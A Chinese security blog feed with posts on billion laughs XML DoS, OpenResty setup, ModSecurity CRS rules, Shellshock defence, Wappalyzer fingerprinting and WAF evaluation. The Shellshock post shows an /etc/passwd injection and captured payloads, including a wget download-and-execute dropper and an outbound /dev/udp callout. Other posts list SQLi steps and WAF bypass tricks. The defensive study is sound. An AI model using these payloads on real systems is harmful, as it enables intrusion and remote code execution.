Quantcast
Channel: 碳基体

[科普]什么是 billion laughs-WordPress与Drupal的DoS攻击有感

$
0
0
这周最红的洞,无疑是 WordPress与Drupal xmlrpc.php引发的 DoS攻击 ,究其原理就是针对XML处理的一种叫billion laughs的攻击方式。

《web安全测试 》第5.10上传恶意XML实体文件这一章节就很清楚的介绍了这一攻击 。

攻击原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。

恶意XML结构示例:

[科普]什么是 billion laughs-WordPress与Drupal的DoS攻击有感 - 碳基体 - 碳基体

生成脚本 :

https://github.com/tanjiti/perl_tools/blob/master/billionlaughs.pl

将生成的恶意XML文件的后缀改为xml,使用存在XML处理问题的XML处理器中打开(Windows XP就存在整个问题),然后就可以体验到死机的冻结感了。


我们看看流传的xml128.py PoC,实际就是向目标路径POST如下格式的XML内容,来耗尽内存

<?xml version="1.0" encoding="iso-8859-1"?>

<!DOCTYPE lolz [

<!ENTITY poc "aaa....">

]>

<lolz>&poc&poc.....</lolz>


参考:
《Web安全测试》
http://www.breaksec.com/?p=6362

OpenResty安装及结构说明

$
0
0
nginx+Lua成了做云WAF的标配了,所以也要努力学习

以debian/ubuntu环境为例

1.获得源码

wget http://openresty.org/download/ngx_openresty-1.7.2.1.tar.gz

历史版本见 http://openresty.org/

2. 预安装环境
apt-get install libreadline-dev libpcre3-dev libssl-dev  libpq-dev  perl gcc g++ autoconf automake build-essential
3.下载 pcre
(编译nginx时需指定pcre所在目录)

http://sourceforge.net/projects/pcre/files/pcre/8.35/

更多版本 http://sourceforge.net/projects/pcre/files/pcre/

tar zxvf pcre-8.35.tar.gz

4.编译pcre(可选)

cd pcre-8.35/

./configure --enable-jit --prefix=/opt/openresty/pcre

make && make install

5.安装ngx_openresty

tar zxvf ngx_openresty-1.7.2.1.tar.gz

cd ngx_openresty-1.7.2.1/


可以先查看一下支持的配置选项

./configure --help

然后根据所需选择需开启的功能

./configure --prefix=/opt/openresty --with-http_iconv_module --with-http_postgres_module --with-luajit --with-luajit-xcflags=-DLUAJIT_ENABLE_LUA52COMPAT --with-pcre=/opt/pcre-8.35/ --with-pcre-jit --with-http_ssl_module

make

或者机器支持多核,例如双核

make -j2 (

make -j $(getconf _NPROCESSORS_CONF)  可以使用这种方式来获得cpu信息

make install

6.安装其他luajit插件(可选)
示例1: 安装lua Aho-Corasick  AC模式匹配算法插件为例 

(1)下载源码

git clone https://github.com/cloudflare/lua-aho-corasick

(2)编译

make -C /root/lua-aho-corasick/ CFLAGS='-g -O3 -Wall' LUA_INCLUDE_DIR=/opt/openresty/luajit/include/luajit-2.1

make -C /root/lua-aho-corasick/ DESTDIR=/opt/openresty/ PREFIX=luajit install

示例2: 安装luasocket

wget http://files.luaforge.net/releases/luasocket/luasocket/luasocket-2.0.2/luasocket-2.0.2.tar.gz

tar zxvf luasocket-2.0.2.tar.gz

cd luasocket-2.0.2/

编译

make -C /root/luasocket-2.0.2 INSTALL_TOP_SHARE=/opt/openresty/luajit/share/lua/5.1/ INSTALL_TOP_LIB=/opt/openresty/luajit/lib/lua/5.1/ LUAINC="-I /opt/openresty/luajit/include/luajit-2.1" install

安装成功后的openrestry目录结构

OpenResty安装及基本使用 - 碳基体 - 碳基体

 


7.支持的模块简介

http://app.yinxiang.com/l/AAJIQXsu-VRMYpHZXyIpb_gazm_YoOWmr1k/

http://vdisk.weibo.com/s/G_jLEbJqrrxD/1413016756


参考:
http://danqingdani.blog.163.com/blog/static/186094195201402901930116/
http://openresty.org/
https://github.com/openresty
https://github.com/cloudflare
https://github.com/agentzh
https://github.com/jgrahamc
https://github.com/calio

ModSecurity CRS 笔记、WAF防御checklist,及WAF架构的一些想法

$
0
0
ModSecurity的规则因为奇怪的正则(可读性差?正则都很天书地说!)及被绕过案例(哪个WAF没有被绕过的经历呢?),还有性能啥的,被不少的安全人员围攻,但从架构层面来说,是款非常优秀的WAF,对构造我们自己的WAF非常具有借鉴性。


一、ModSecurity CRS笔记

对安全人员而言,WAF貌似最有价值的是规则,我们来看看ModSecurity CRS规则集的组织结构。ModSecurity  CRS 规则集包括一个配置文件与四个部分(基础规则集、SLR规则集、可选规则集、实验性质规则集)

配置文件

modsecurity_crs_10_setup.conf


第一部分:基础规则集

modsecurity_crs_20_protocol_violations.conf HTTP协议规范相关规则
modsecurity_crs_21_protocol_anomalies.conf HTTP协议规范相关规则
modsecurity_crs_23_request_limits.conf HTTP协议大小长度限制相关规则
modsecurity_crs_30_http_policy.conf HTTP协议白名单相关规则
modsecurity_crs_35_bad_robots.conf 恶意扫描器与爬虫规则
modsecurity_crs_40_generic_attacks.conf 常见的攻击例如命令执行,代码执行,注入,文件包含、敏感信息泄露、会话固定、HTTP响应拆分等相关规则
modsecurity_crs_41_sql_injection_attacks.conf SQL注入相关规则(竟然有一条MongoDB注入的规则,很全)
modsecurity_crs_41_xss_attacks.conf XSS相关规则
modsecurity_crs_42_tight_security.conf 目录遍历相关规则
modsecurity_crs_45_trojans.conf webshell相关规则
modsecurity_crs_47_common_exceptions.conf Apache异常相关规则
modsecurity_crs_49_inbound_blocking.conf 协同防御相关规则
modsecurity_crs_50_outbound.conf 检测response_body中的错误信息,警告信息,列目录信息

modsecurity_crs_59_outbound_blocking.conf 协同防御相关规则
modsecurity_crs_60_correlation.conf 协同防御相关规则

第二部分:SLR规则集

来自确定APP的PoC,不会误报,检测方法是先检查当前请求的文件路径是否出现在data文件中,若出现再进行下一步测试,否则跳过该规则集的检测

modsecurity_crs_46_slr_et_joomla_attacks.conf JOOMLA应用的各种漏洞规则
modsecurity_crs_46_slr_et_lfi_attacks.conf 各种APP的本地文件包含相关规则
modsecurity_crs_46_slr_et_phpbb_attacks.conf PHPBB应用的各种漏洞规则
modsecurity_crs_46_slr_et_rfi_attacks.conf 各种APP的远程文件包含相关规则
modsecurity_crs_46_slr_et_sqli_attacks.conf 各种APP的SQL注入相关规则
modsecurity_crs_46_slr_et_wordpress_attacks.conf WORDPRESS应用的各种漏洞规则
modsecurity_crs_46_slr_et_xss_attacks.conf 各种APP的XSS相关规则


第三部分:可选规则集

modsecurity_crs_10_ignore_static.conf 静态文件不过WAF检测的相关规则
modsecurity_crs_11_avs_traffic.conf AVS(授权的漏洞扫描器)的IP白名单规则
modsecurity_crs_13_xml_enabler.conf 请求体启用XML解析处理
modsecurity_crs_16_authentication_tracking.conf 记录登陆成功与失败的请求

modsecurity_crs_16_session_hijacking.conf 会话劫持检测
modsecurity_crs_16_username_tracking.conf 密码复杂度检测

modsecurity_crs_25_cc_known.conf CreditCard验证

modsecurity_crs_42_comment_spam.conf 垃圾评论检测
modsecurity_crs_43_csrf_protection.conf 与modsecurity_crs_16_session_hijacking.conf联合检测,使用内容注入动作append注入CSRF Token

modsecurity_crs_46_av_scanning.conf 使用外部脚本扫描病毒
modsecurity_crs_47_skip_outbound_checks.conf modsecurity_crs_10_ignore_static.conf的补充

modsecurity_crs_49_header_tagging.conf 将WAF规则命中情况配合Apache RequestHeader指令注入到请求头中,以供后续应用进一步处理
modsecurity_crs_55_application_defects.conf 安全头(X-XSS-Protection,X-FRAME-OPTIONS,X-Content-Type-Options)设置,安全Cookie设置(Domain,httponly,secure),字符集设置等规则
modsecurity_crs_55_marketing.conf记录MSN/Google/Yahoo robot情况


第四部分:实验性规则集

modsecurity_crs_11_brute_force.conf 防御暴力破解相关规则
modsecurity_crs_11_dos_protection.conf 防DoS攻击相关规则
modsecurity_crs_11_proxy_abuse.conf 检测X-Forwarded-For是否是恶意代理IP,IP黑名单

modsecurity_crs_11_slow_dos_protection.conf Slow HTTP DoS攻击规则

modsecurity_crs_25_cc_track_pan.conf 检测响应体credit card信息

modsecurity_crs_40_http_parameter_pollution.conf 检测参数污染
modsecurity_crs_42_csp_enforcement.conf CSP安全策略设置

modsecurity_crs_48_bayes_analysis.conf 使用外部脚本采取贝叶斯分析方法分析HTTP请求,区分正常与恶意请求
modsecurity_crs_55_response_profiling.conf 使用外部脚本将响应体中的恶意内容替换为空
modsecurity_crs_56_pvi_checks.conf使用外部脚本检测 REQUEST_FILENAME是否在osvdb漏洞库中

modsecurity_crs_61_ip_forensics.conf 使用外部脚本收集IP的域名、GEO等信息

modsecurity_crs_40_appsensor_detection_point_2.0_setup.conf APPSENSOR检测设置文件

modsecurity_crs_40_appsensor_detection_point_3.0_end.conf APPSENSOR检测设置文件

modsecurity_crs_16_scanner_integration.conf 对扫描器设置IP白名单,并调用扫描器API来进行检测

modsecurity_crs_46_scanner_integration.conf

使用modsecurity_crs_40_appsensor_detection_point_2.0_setup.conf,modsecurity_crs_40_appsensor_detection_point_3.0_end.conf 来跟踪XSS漏洞参数与SQLI漏洞参数

modsecurity_crs_40_appsensor_detection_point_2.1_request_exception.conf 使用外部脚本检测请求方法,参数个数,参数名字,参数长度,参数字符等限制
modsecurity_crs_40_appsensor_detection_point_2.9_honeytrap.conf 使用隐藏参数设置蜜罐


ModSecurity CRS单条规则的内容,请参看ModSecurity CRS详解


二、WAF防御checklist
对使用者而言,考察一款WAF的有效性,最关键的一点就是攻击的防御情况,我们看看ModSecurity对漏洞防御的checklist

扫描器scanner

恶意爬虫crawler
webshell (Trojans)
         shell上传:见文件上传
         shell连接:get/post/cookie

SQLi/BlindSQLI(Reflected SQLi, Stored SQLi)
     GET
     POST
     Referer
     Cookie
     X_Forwarded_For
     UserAgent
     Basic-Authorization

LFI/RFI
     get lfi/rfi
     post lfi/rfi
     cookie lrfi/rfi
     data://URI
     php://input
     php://filter
     get directory traversal
     post directory traversal

File Upload
     php
     asp(x)
     jsp    

RCE
     struts2
     nginx CVE
     PHP CGI
     get rce
     post rce

XSS( Reflected XSS, Stored XSS, DOM XSS) /CSRF/flash xss/json xss 
     GET
    POST

code injection
     get code injection
     post code injection

XPath injection

LDAP injection

XML injection

expression language injection

server side includes injection

server side request forgery

HTTP响应拆分

CRLF注入

服务器解析漏洞

敏感信息泄漏info leak
      svn/cvs
      后台暴露

http parameter pollution参数污染

brute force暴力破解(weak password)

DoS

slow HTTP DoS

URL Redirect  

session fixation会话固定/ easily-guessable session IDs

会话劫持

垃圾评论

防病毒

access control(vertical, horizontal)/Unauthorized File Exposure(download)

logic flaws逻辑漏洞

协议异常
     不合规范的RequestLine
     异常文件名
     请求体解析错误
     multipart请求体解析错误
     Content-Length异常
     Content-Enoding异常
     Range异常
     Request-Range异常
     Expect异常
     Connection异常
     Pragma, Cache-Control
     Host异常
     User-Agent异常
     Accpet异常
     X-Forwarded-For异常
     编码异常,url编码异常,utf-8异常
     charset设置缺失或不一致
     Cookie Domain/httponly/secure设置错误
     安全头设置错误X-XSS-Protection,X-FRAME-OPTIONS,X-Content-Type-Options

协议限制
     允许请求方法 GET/POST/HEAD
     允许协议版本HTTP/1.0 or HTTP/1.1
     允许Content-Type
     允许的文件后缀名
     允许的请求头
     长度限制
     参数名长度限制
     参数值长度限制
     参数个数限制
     参数的总大小
     上传文件大小限制
     上传文件总大小限制
     编码限制

IP白名单/黑名单/恶意代理


三、WAF架构的一些想法
浏览一下《ModSecurity SecRule cheatsheets》,就能理解ModSecurity的优秀点,可以用于WAF的架构中,如下:

1. 检测阶段的概念,将日志阶段放在了整个检测生命周期中,这个可以将日志分析直接串起来生成基于实时日志的防御规则
2. 生命周期全局变量的概念,可以用于做协同防御
3. 外部API接口,可以更灵活的编写检测规则,和利用外界的已有工具
4. HTTP解析的异常也可以当成规则的一部分,比如说multipart解析的各种异常情况,可以做异常协议绕过得加强规则
5. 规则链的概念,支持规则间的基础逻辑,包括跳转,协同
6. 主动防御的概念,当发现危险,可以进行内容注入,例如csrf token等
7.详细的日志TAG功能,不是直接将原始日志交于日志处理模块,优化日志安全分析阶段

待续。。。
参考:
https://github.com/SpiderLabs/owasp-modsecurity-crs
<<ModSecurity Handbook>>

BASH CVE-2014-6271 shellshock 修复及防御

$
0
0
bash shellshock (远程代码执行)漏洞一出,订阅的安全博客就被铺天盖地的漏洞分析,漏洞检测(从日志情况来看,网上的各种检测方法,特别是批量检测方法都被用于直接的攻击了),漏洞修复信息覆盖了,堪比娱乐圈的菲峰复合,各大乙方安全公司,甲方公司安全部门,活跃的安全明星都写了相关内容,我也厚着脸皮来个“娱记”上身,从web防御层面来讲讲bash口水故事。

一、web漏洞环境搭建
首先搭建一个web漏洞测试环境apache2+cgi模式+cgi漏洞脚本

1、设置apache2+cgi模式
测试环境:
OS:Ubuntu
WebServer:  Apache/2.2.22 (Ubuntu)
开启cgi模式

vim /etc/apache2/sites-available/default

指定cgi目录

        ScriptAlias /cgi-bin/ /var/www/cgi-bin/

        <Directory "/var/www/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        </Directory>

vim /etc/apache2/mods-available/mime.conf

cgi脚本解析功能,添加支持后缀

AddHandler cgi-script .cgi .pl

重启server

service apache2 restart


2、编写漏洞cgi文件
编写cgi文件进行测试

vim /var/www/cgi-bin/poc.cgi

编写

#!/bin/bash
echo "Content-type: text/html"
echo ""

chmod +x poc.cgi


3、漏洞注入测试
测试,我们在User-Agent注入  () { :; }; /bin/cat /etc/passwd > /tmp/dumped_file 

http 127.0.0.1/cgi-bin/poc.cgi User-Agent:'() { :;}; echo X-Bash-Test: `echo bash shellshock`'

 
远程命令执行成功,可以看到响应体中的回显
BASH CVE-2014-6271 shellshock 修复及防御 - 碳基体 - 碳基体
 

接下来我们尝试在Accept,Accept-Encoding,Accept-Language,Cookie,Host,Cache-Control进行植入,同样成功
(不要在Host,Connection中植入)


二、捕捉的常见payload
此漏洞一出,立刻各种攻击(检测?)到处乱飞了,在日志中有以下常见的payload

() { :; }; echo X-Bash-Test: `echo tcy6n3f0uU`;

() { :; }; ping -c 3 xxx.xxx.xxx.xxx

() { :; }; echo x-bash-header: hello haha

() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444

() { :; }; /bin/bash -c 'if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget xx.xxx.xx.xxx:5487/v64 -O /tmp/.osock; else /usr/bin/wget xx.xxx.xx.xxx:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &'



三、漏洞分析参考文章
这个洞太热了,有很多分析文章了,挑选一些不错的 
http://lcx.cc/?i=4434 寻找cve-2014-6271的实例的一点思路
http://drops.wooyun.org/papers/3064 CVE-2014-6271资料汇总 BASH CVE-2014-6271 shellshock 修复及防御 - 碳基体 - 碳基体


四、升级bash进行修复
debain/ubuntu

apt-get update

apt-get -y install --only-upgrade bash


五、使用ModSecurity防御
ModSecurity安装及基本使用见

[科普文]ubuntu上安装Apache2+ModSecurity及自定义WAF规则


捕捉关键字
\(\)\s{\s+[^;}]+;\s*}\s*;

参考:
http://zone.wooyun.org/content/15392 
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
http://blog.threatstack.com/labs/2014/9/25/cve-2014-6271-and-you-a-tale-of-nagios-and-the-bash-exploit
http://lcx.cc/?i=4434 寻找cve-2014-6271的实例的一点思路
http://drops.wooyun.org/papers/3064 CVE-2014-6271资料汇总 BASH CVE-2014-6271 shellshock 修复及防御 - 碳基体 - 碳基体

Web应用指纹识别

$
0
0
web应用指纹识别,是web渗透信息收集最关键的一步,这方面开源的工具也非常多,像BlindElephantwhatweb 以及在非安全圈都很火的wappalyzer。本文主要描述如何使用wappalyzer的perl与php接口进行指纹识别。

wappalyzer的功能是识别单个uri的指纹,其原理就是给指定URI发送HTTP请求,获取响应头与响应体并按指纹规则进行匹配。这也是web应用指纹识别最基础的部分,除此之外,还有指纹置信度计算(如何去处伪造指纹,多种指纹特征如何综合判断,隐藏指纹信息如何提取),整个站点的指纹识别还涉及到有效爬虫抓取,分布式计算等问题,这些都不在本文内容中。


一、perl版本
原理:
给指定uri发送HTTP请求,通过分析HTTP相应的以下部分来判断指纹
(1)  headers特征 
响应头key:value对,多个key:value用逗号隔开,例如

"headers": { "X-AMP-Version": "([\\d.]+)\\;version:\\1", "Set-Cookie": "^AMP=" },

(2)   html特征 
响应体内容,多个规则用逗号隔开,例如

"html": [ "<div class=\"[^\"]*parbase", "_jcr_content", "/etc/designs/", "/etc/clientlibs/" ]

特别注意:html全文匹配的规则一定要谨慎编写
(3)  url特征
url内容,例如

"url": "/cgi-bin/UCEditor\\?(?:.*&)?merchantid=."

(4)  meta特征
响应html 页面中诸如<meta name="version" content="neblog-1.0"/>中的名字name:内容content对,多个规则用逗号隔开,例如

"meta": { "generator": "webEdition", "DC.title": "webEdition" }

(5)  script特征
响应html页面中诸如<script type="text/javascript" src="http://b1.bst.126.net/newpage/r/j/ec.js?v=1413881655525"></script> src中中url内容,多个规则用逗号隔开,例如

"script": [ "angular(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+(\\-?rc[.\\d]*)*)/angular(\\.min)?\\.js\\;version:\\1", "angular.*\\.js" ]


局限性
不支持规则文件中APP版本号与置信度的获取
对非utf8的中文编码可能会存在问题

优点:
较之PHP版本,使用qr正则预编译处理,可以提前发现正则的问题,这是我选择该语言版本的主要原因。
(接下来的php版本就能让你知道正则不预编译处理有多坑了!)

脚本的功能:
(1)指纹识别结果按JSON格式返回,以便后续指纹信息入库等处理
(2)支持批量uri查询
(3)支持指定自定义JSON格式的指纹规则文件 
(默认的指纹文件放置在/usr/lib/perl5/WWW/apps.json ,具体的路径会因cpan模块的安装路径有区别
可以使用perl -V 察看@INC变量来确定路径,或者更暴力的find吧)


安装

cpan -i  WWW::Wappalyzer  

clone https://github.com/tanjiti/FingerPrint.git


运行
(1)获取单个uri的指纹

perl FingerPrint.pl www.xxx.com<uri 必选> tanjiti.json[指纹规则文件,可选]

返回结果 

{
"www.xxx.com": {
"blogs": [
"WordPress"
],
"web-servers": [
"Nginx"
],
"cdn": [
"CloudFlare"
],
"cms": [
"WordPress"
],
"font-scripts": [
"Google Font API"
],
"javascript-frameworks": [
"jQuery"
],
"javascript-graphics": [
"Javascript Infovis Toolkit"
]
}
}

(2) 从文件读取url列表进行批量指纹识别,并将结果输出到文件中

perl FingerPrint.pl url.txt<uri 文件路径 必选> tanjiti.json[指纹规则文件,可选]

结果输出到 url.txt__fingerprint 文件里

指纹规则文件编写示例

more tanjiti.json

"apps": {
"Discuz!":{
"website": "www.discuz.net/forum.php",
"cats": [ 1 ],
"meta": { "generator": "Discuz"},
"headers": {"Set-Cookie": "_lastact.*_sid|_sid.*_lastact|_sid.*smile|smile.*_sid"},
"url": "/uc_server[/$]|uc_client[/$]",
"html": "Powered by (?:Discuz!|<a href=\"http://www\\.discuz\\.net/\"|UCenter)",
"implies": "php"
},
"PHP": {
"website": "php.net",
"cats": [ 27 ],
"headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" },
"url": "\\.php(?:$|\\?)"
}

}


二、php版本
原理
同perl版本,区别有两点:
1. HTTP请求部分:较之perl使用LWP发送HTTP请求,php使用curl发送HTTP请求
2. 规则匹配部分:指纹规则的匹配部分使用javascript语法,然后通过php的v8js模块来解析。(为什么要这样做呢?当返回响应体内容很多,指纹正则写的很烂的时候,会卡死在规则匹配这一过程中,现在的规则下sina,163等大站基本卡死!)

运行
PHP版的接口已经能直接使用了,只是需要替换规则文件,囧

第一步:安装php、curl及v8js

apt-get install php5-dev php-pear build-essential libv8-dev php5-curl

pecl install channel://pecl.php.net/v8js-0.1.3

echo extension=v8js.so >> /etc/php5/cli/php.ini

验证是否安装成功
php -m | grep v8js
v8js -----------OK

第二步:下载Wappalyzer脚本

git clone https://github.com/ElbertF/Wappalyzer.git

cp -R Wappalyzer/drivers/php/* .

cp Wappalyzer/share/js/wappalyzer.js js/

cp Wappalyzer/share/apps.json .  (指纹规则文件) 该规则文件的正则编写的有问题,所以我使用的以前版本的规则文件

cp /usr/lib/perl5/WWW/apps.json .

php版指纹识别程序结构如下:
index.php 主程序
Wappalyzer.php
WappalyzerException.php
js/driver.js js/wappalyzer.js
apps.json 指纹规则文件

第三步:验证是否成功

php index.php www.tanjiti.com

输出格式为
应用名,版本号,置信度,app类型 (比perl版本多了对版本号,置信度的获取)

CloudFlare, , 100%, cdn
Javascript Infovis Toolkit, , 100%, javascript-graphics
jQuery, , 100%, javascript-frameworks
Nginx, , 100%, web-servers
PHP, 5.5.9, 100%, programming-languages
Ubuntu, , 100%, operating-systems
WordPress, 4.0, 100%, cms, blogs

接下来的优化输出为json格式与批量处理uri同perl版本。

三、PHP版本补充知识
阅读源码的确能学到不少东西
(1)v8js基本使用
v8js的基本使用示例:使用php运行js

编写简单的js文件

vim test.js

var name = "tanjiti"
print(name," ",name.length, " characters")


使用php运行js

vim testV8.php

<?php

$start = microtime(true);

$v8 = new V8Js();


try{
$file = "test.js";
$result = $v8->executeString(file_get_contents($file),$file);
} catch (Exception $e){
print $e->getMessage()."\n";
exit;
}

$end = microtime(true);

$duration = $end - $start;

echo "\n$duration us\n";

?>

运行

php testV8.php
tanjiti 7 characters
0.018015146255493 us

(2) curl基本使用
使用curl向指定url发送请求,并将响应结果按StdClass结构存储响应体的url,host,html,headers四个部分

vim testCurl.php

<?php

if ( php_sapi_name() !== 'cli' ) {
exit('Run me from the command line');
}

$url = !empty($argv[1]) ? $argv[1] : '';

if ( !$url ) {
echo "Usage: php {$argv[0]} <url>\n";

exit(0);
}

$result = curl($url);
var_dump($result);

function curl($url)
{
echo 'cURL request: ' . $url . "\n";

$ch = curl_init($url); //初始化

curl_setopt_array($ch, array(//设置选项
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HEADER => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3, //重定向
CURLOPT_TIMEOUT => 5, //超时时间,单位s
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1' //User-Agent
));

$response = curl_exec($ch);

if ( curl_errno($ch) !== 0 ) {
throw new Exception('cURL error: ' . curl_error($ch));
}

$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ( $httpCode != 200 ) {
throw new Exception('cURL request returned HTTP code ' . $httpCode);
}

$result = new stdClass();

$result->url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

$result->host = parse_url($result->url, PHP_URL_HOST);

$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);

$result->html = substr($response, $headerSize);

$result->html = mb_check_encoding($result->html, 'UTF-8') ? $result->html : utf8_encode($result->html);

$headers = trim(substr($response, 0, $headerSize));
$headers = preg_split('/^\s*$/m', $headers);
$headers = end($headers);
$lines = array_slice(explode("\r\n", $headers), 1);

foreach ( $lines as $line ) {
if ( strpos(trim($line), ': ') !== false ) {
list($key, $value) = explode(': ', $line);

$result->headers[strtolower($key)] = $value;
}
}

return $result;
}
?>


运行

php testCurl.php www.tanjiti.com/xss.php?a=lala
cURL request: www.tanjiti.com/xss.php?a=lala
object(stdClass)#1 (4) {
["url"]=>
string(37) "HTTP://www.tanjiti.com/xss.php?a=lala"
["host"]=>
string(15) "www.tanjiti.com"
["html"]=>
string(4) "lala"
["headers"]=>
array(11) {
["date"]=>
string(29) "Fri, 31 Oct 2014 10:08:50 GMT"
["content-type"]=>
string(9) "text/html"
["transfer-encoding"]=>
string(7) "chunked"
["connection"]=>
string(10) "keep-alive"
["set-cookie"]=>
string(133) "__cfduid=db05b3ccf4d2b4db66bb46b1058c616831414750130574; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.tanjiti.com; HttpOnly"
["x-powered-by"]=>
string(20) "PHP/5.5.9-1ubuntu4.4"
["x-content-type-options"]=>
string(7) "nosniff"
["x-frame-options"]=>
string(10) "sameorigin"
["x-xss-protection"]=>
string(12) "1;mode=block"
["server"]=>
string(16) "cloudflare-nginx"
["cf-ray"]=>
string(20) "181f0dbc131a036e-LAX"
}
}

(3)正则

参考:
http://wappalyzer.com/
http://cn2.php.net/v8js/

WAF防御能力评测及工具

$
0
0

本篇文章介绍如何从常规攻击的防御能力来评测一款WAF。一共覆盖了十六种攻击类型,每种类型均从利用场景(攻击操作的目的),注入点(漏洞产生的地方,比如说大多数WAF都会较全面地覆盖来自GET请求的攻击,有选择地覆盖来自POST请求的攻击而忽略来自请求头的攻击)和绕过方式来评测,最后附上评测代码。

一、SQL注入(注入)

1. 利用场景
从攻击者进行SQL注入的阶段来看,一般分为探测与攻击两个阶段(p.s.攻击阶段是WAF的重点防御阶段)
(1)探测阶段
1)     探测是否存在SQL注入:基于SQL错误回显(e.g.extractvalue) 或时间响应(Benchmark,sleep)来探测目标网站是否存在SQL注入点
2)     识别数据库类型:根据数据库的slang来判断目标网站采用的哪种数据库及数据库的版本等基本信息,例如@@version,user()
(2)利用阶段
i. select型SQLi
1)     读取元数据库:通过读取数据库管理系统元数据库(e.g. MySQL的information_schema, SQL Server的sysobjects)来探测数据存储数据库,表,列等基本信息
2)     提取数据:使用union查询或盲注中的逐位探测(e.g.length,substr)或者条件探测(Select if(1=1,’a’,’b’);)来提取数据库管理系统中的数据,其中经常会用到concat(),group_concat()等函数,
3)     读取系统文件:读取数据库管理系统所在操作系统中的重要系统文件(eg. MySQL的load_file)
4)     写入系统文件:向数据库管理系统所在操作系统写入后门文件(e.g.MySQL的select into outfile)
5)     执行系统命令:以数据库管理系统为跳板执行系统命令(e.g.SQL Server的exec master…xp_cmdshell)
ii. update型SQLi
iii. insert型SQLi

2.注入点
记住:任何输入都是有害的
(1)GET QueryString 
(2)POST
(3)Referer
(4)Cookie
(5)X_Forwarded_For
(6)UserAgent
(7)Basic-Authorization

特别注意:注入点不仅仅只存在于参数值,也存在于参数名,url路径,那种只检测参数值的WAF的防御能力必定有限

3.绕过方式
这里的绕过主要是针对采取模式匹配来识别攻击的WAF检测方法(其实大多数WAF的基本方法都是这个,引申到IDS,IPS,anti-virus等安全产品都是采取的这种方法)

采取模式匹配的检测方法会绕过的原因无外乎以下几种:
1)HTTP协议解析漏洞 :WAF进行模式匹配的时候都是对HTTP协议变量进行匹配,攻击者构造异常的HTTP数据包导致不能正常提取变量,都不能进入到模式匹配阶段,自然而然就绕过了

2)模式匹配的先天不良:字符串匹配,无论是简单的正则匹配或者会配合一定的逻辑的匹配(比如对不同关键字进行加权操作,前后依赖关系判断)反正都逃不开模式两个字,而模式是固定的,就导致了各种侧漏。 

对于第二点,在云WAF上的问题最为严重,我们知道云WAF的用户类型是多样化的(不同的搭建技术PHP/ASP/JSP,运行环境Windows/Linux,访问方式PC/Mobile),理想状态下,应该按站点类型精准投放防御规则,但是..基于站点自动建模(安全人员中缺乏数据分析师)是个“前沿”的技术活,而免费模式下是产生不了多大动力来投入精力的,所以现实是倾向于选择更通用的方式(放弃少数人)按危害优先级来定制规则。

以上绕过原因衍生了以下的通用绕过方式
(1)参数污染
(2)URL重写 
(3) 加密payload
MD5、SHA-1、自定义加密
(4)缓冲区溢出
(5)编码绕过 
(6)特殊字符插入(%00)
(7)异常HTTP请求包(e.g.超级大,不符合HTTP规范但被server容错的数据包)
(8)数据包分块传输方式Transfer-Encoding: chunked

SQL注入一般存在以下绕过方式(其实也就是模式匹配的先天不良)
1) 编码绕过:通过对SQL注入攻击Payload进行Unicode编码,十六进制编码,双URL编码来绕过检测规则
2) 注释语句绕过:通过在SQL注入攻击Payload中插入注释语句(内联注释)来绕过检测规则
3)大小写绕过:通过变化SQL注入攻击Payload的大小写来绕过检测规则
4) 类型转换绕过:使用hex, ascii, ord, char,chr,cast,convert等类型转换函数来变化特定字符来绕过检测规则,除了类型转换函数还有隐性类型转换的特征 http://danqingdani.blog.163.com/blog/static/186094195201331854938182/
5) 生僻的SQL关键字绕过
6)特殊的sql语法(e.g. mysql . ~ ! + - 符号)
7)关键字拆分
8)请求方式转换(将GET转变为POST,因为误报的问题POST的规则要远远比GET规则松)
(参考了Seay大神总结的绕过方式)

二、文件包含(文件操作)
攻击的核心目标之一是信息操纵,而信息的载体就是文件(数据),对文件的非法读、写、删除等操作就成为防御的核心。

1.利用场景
(1)包含本地文件
本地文件包含的出发点一般分为两种

a. 读取系统文件获取敏感信息,例如配置文件
除了读取同目录下的文件外,一般会配合目录遍历

b. 实施代码执行
(1)包含(执行)存在后门的文件(写入后门的方法有很多,例如SQLI写马/文件上传写马/代码注入)
(2)包含(执行)系统可执行文件
(2)使用php://input 协议将文件包含漏洞变成代码执行漏洞 http://danqingdani.blog.163.com/blog/static/1860941952013993810261/
(2)包含远程文件

2.注入点
记住:任何输入都是有害的
(1)GET QueryString 
(2)POST

3.绕过方式
绕过目录遍历检测(其实目录遍历因该单独列出来,在命令执行等地方都会用到)
1) 编码绕过:
b. %c0%af Apache,Tomcat UTF-8编码错误
c. %25%5c Unicode漏洞
d. %c0%af 
e. %c1%9c Unicode漏洞
f. %fc%80%80%80%80%af Unicode漏洞
2) 截断: %00

读取系统文件时的绕过检测方法
1) 使用php://filter协议以base64编码方式读取指定文件内容
2)使用data:// URI schema协议执行系统命令

三、文件上传/下载(文件操作)

1.利用场景
(1)直接上传webshell文件
一般的文件上传模块,都会配置文件上传白名单(e.g.只允许上传图片文件) ,所以这种攻击方式的一般看是否有白名单以及如何绕过白名单

webshell的类型如下:
1> asp shell
2> php shell
3> jsp shell
4> python shell
5> pl-cgi shell
6> sh shell
7> c shell
8> cfm shell
9> exe shell


(2)图片写马上传
在文件名无法做文章的情况下,一般会配合服务器解析漏洞或者文件包含漏洞来利用

(3)下载任意文件
